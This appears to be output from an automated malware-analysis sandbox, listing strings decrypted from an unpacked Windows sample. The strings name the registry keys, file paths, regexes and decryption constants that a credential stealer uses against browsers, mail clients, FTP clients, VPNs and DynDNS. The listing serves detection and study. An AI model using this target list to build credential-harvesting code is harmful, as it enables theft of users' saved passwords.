Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UC Browser
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UCBrowser\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Login Data
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: journal
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: wow_logins
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Safari for Windows
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Common Files\Apple\Apple Application Support\plutil.exe
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Apple Computer\Preferences\keychain.plist
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <array>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <dict>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <string>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </string>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <string>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </string>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <data>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </data>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: -convert xml1 -s -o "
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \fixed_keychain.xml"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Microsoft\Credentials\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Microsoft\Credentials\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Microsoft\Credentials\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Microsoft\Credentials\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Microsoft\Protect\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: credential
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: QQ Browser
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Tencent\QQBrowser\User Data
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Default\EncryptedStorage
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Profile
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \EncryptedStorage
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: entries
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: category
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: str3
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: str2
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: blob0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: password_value
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IncrediMail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PopPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SmtpPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\IncrediMail\Identities\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Accounts_New
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PopPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SmtpPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SmtpServer
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: EmailAddress
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Eudora
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Qualcomm\Eudora\CommandLine\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: current
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Settings
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SavePasswordText
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Settings
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ReturnAddress
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Falkon Browser
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \falkon\profiles\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: profiles.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: startProfile=([A-z0-9\/\.\"]+)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: profiles.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \browsedata.db
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: autofill
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ClawsMail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Claws-mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \clawsrc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \clawsrc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passkey0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: master_passphrase_salt=(.+)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: master_passphrase_pbkdf2_rounds=(.+)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \accountrc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: smtp_server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: address
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: account
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \passwordstorerc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {(.),(.)}(.*)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Flock Browser
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Flock\Browser\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: signons3.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: DynDns
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ALLUSERSPROFILE
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Dyn\Updater\config.dyndns
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: username=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: password=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: https://account.dyn.com/
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: t6KzXhCh
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ALLUSERSPROFILE
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Dyn\Updater\daemon.cfg
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: global
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: accounts
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: account.
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: username
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: account.
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Psi/Psi+
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: name
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Psi/Psi+
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Psi\profiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Psi+\profiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \accounts.xml
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \accounts.xml
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: OpenVPN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\OpenVPN-GUI\configs\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: username
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: auth-data
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: entropy
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: USERPROFILE
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \OpenVPN\config\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: remote
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: remote
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: NordVPN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: NordVPN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: NordVpn.exe*
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: user.config
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: //setting[@name='Username']/value
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: //setting[@name='Password']/value
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: NordVPN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Private Internet Access
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: %ProgramW6432%
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Private Internet Access\data
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles(x86)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Private Internet Access\data
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \account.json
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ."username":"(.?)"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ."password":"(.?)"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Private Internet Access
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: privateinternetaccess.com
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FileZilla
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Server>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Host>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Host>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </Host>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Port>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </Port>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <User>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <User>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </User>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Pass encoding="base64">
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Pass encoding="base64">
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </Pass>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Pass>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <Pass encoding="base64">
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </Pass>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: CoreFTP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SOFTWARE\FTPWare\COREFTP\Sites
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: User
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Host
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Port
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: hdfzpysvpzimorhk
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: WinSCP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HostName
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UserName
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PublicKeyFile
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PortNumber
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: [PRIVATE KEY LOCATION: "{0}"]
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: WinSCP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ABCDEF
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Flash FXP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: port
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: user
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pass
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: quick.dat
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Sites.dat
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FlashFXP\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FlashFXP\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: yA36zA48dEhfrvghGRg57h5UlDv3
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FTP Navigator
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SystemDrive
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FTP Navigator\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: No Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: User
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SmartFTP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: APPDATA
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SmartFTP\Client 2.0\Favorites\Quick Connect
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: WS_FTP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: appdata
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Ipswitch\WS_FTP\Sites\ws_ftp.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HOST
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PWD=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PWD=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FtpCommander
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SystemDrive
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SystemDrive
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Program Files (x86)\FTP Commander\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SystemDrive
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \cftp\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Password=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;User=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Server=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Port=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Port=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Password=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;User=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ;Anonymous=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FTPGetter
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \FTPGetter\servers.xml
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_ip>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_ip>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </server_ip>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_port>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </server_port>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_user_name>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_user_name>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </server_user_name>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_user_password>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <server_user_password>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: </server_user_password>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FTPGetter
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: The Bat!
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: appdata
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \The Bat!
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Account.CFN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Account.CFN
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Becky!
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HKEY_CURRENT_USER\Software\RimArts\B2\Settings
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: DataDir
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Folder.lst
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Mailbox.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Account
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PassWd
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Account
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTPServer
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Account
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: MailAddress
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Becky!
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Outlook
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IMAP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: POP3 Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HTTP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IMAP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: POP3 Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HTTP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTP Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Mail App
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: COMPlus_legacyCorruptedStateExceptionsPolicy
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\Microsoft\ActiveSync\Partners
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SchemaId
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pResourceElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pIdentityElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pPackageSid
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pAuthenticatorElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: syncpassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: mailoutgoing
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FoxMail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Executable
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: FoxmailPath
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Storage\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Storage\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Accounts\Account.rec0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Accounts\Account.rec0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Account.stg
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Account.stg
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: POP3Host
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTPHost
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IncomingServer
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Account
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: MailAddress
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: POP3Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Opera Mail
